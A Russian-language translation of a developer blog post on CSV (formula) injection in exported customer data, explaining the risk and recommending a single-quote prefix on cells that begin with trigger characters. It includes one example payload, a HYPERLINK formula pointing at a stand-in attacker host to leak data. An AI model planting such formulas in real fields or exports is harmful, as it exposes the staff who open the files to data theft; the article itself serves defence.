CSV-инъекция: кнопка экспорта, которая запускает код

Клиент вводит свое имя. Он пишет =HYPERLINK("http://evil.example/leak", "click"). Ваша система принимает это. Это выглядит как обычный текст.

Спустя несколько недель ваша финансовая служба экспортирует список клиентов в CSV. Они открывают файл в Excel. Эта ячейка больше не является текстом. Это формула.

Это CSV-инъекция. Ее также называют инъекцией формул. Это распространенная ошибка в панелях управления электронной коммерцией. Большинство команд не тестируют систему на ее наличие.

Приложения для работы с электронными таблицами не рассматривают каждую ячейку как текст. Если ячейка начинается с =, +, - или @, Excel или Google Таблицы считывают ее как формулу.

Формула может делать больше, чем просто математические вычисления. Она может создавать URL-адреса. Она может обращаться к сети. В некоторых случаях она может запускать команды на компьютере.

В вашей базе данных данные остаются текстом. Они становятся исполняемыми в тот момент, когда человек открывает файл. Обычно жертвой становится сотрудник с высоким уровнем доступа.

Вы подвергаетесь риску везде, где экспортируете пользовательские данные:

  • Экспорт имен и адресов клиентов
  • Списки заказов, экспортируемые в CSV
  • Фиды товаров от поставщиков
  • Выгрузки из контактных форм

Злоумышленнику не нужны права администратора. Он устанавливает свое имя в виде формулы и ждет.

Не пытайтесь исправить это на этапе валидации ввода. Значение является легитимным текстом до тех пор, пока его не прочитает электронная таблица. Вместо этого очищайте данные при записи в CSV-файл.

Если ячейка начинается с =, +, -, @, табуляции или возврата каретки, добавьте в начало одиночную кавычку.

Пример логики: Если значение начинается с триггерного символа, вернуть "'" + value.

Одиночная кавычка указывает электронной таблице обрабатывать ячейку как текст. При этом таблица скрывает кавычку от пользователя. Пропускайте каждое поле через эту проверку перед тем, как оно попадет в файл.

Не экранируйте данные в вашей базе данных. Значение в порядке в вашей базе данных и в порядке в вашем HTML. Оно опасно только в CSV. Защищайте границу CSV, чтобы ваши данные оставались чистыми в других местах.

Перестаньте доверять своим внутренним экспортам. Злоумышленники нацеливаются на ваш персонал через эти файлы.

CSV-инъекция не вызывает пугающих оповещений сканеров. Она прячется в кнопке экспорта, которую вы создали много лет назад. Проверьте свой код экспорта CSV прямо сейчас. Если вы не защищаете первый символ каждой ячейки, вы в зоне риска.

Источник: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6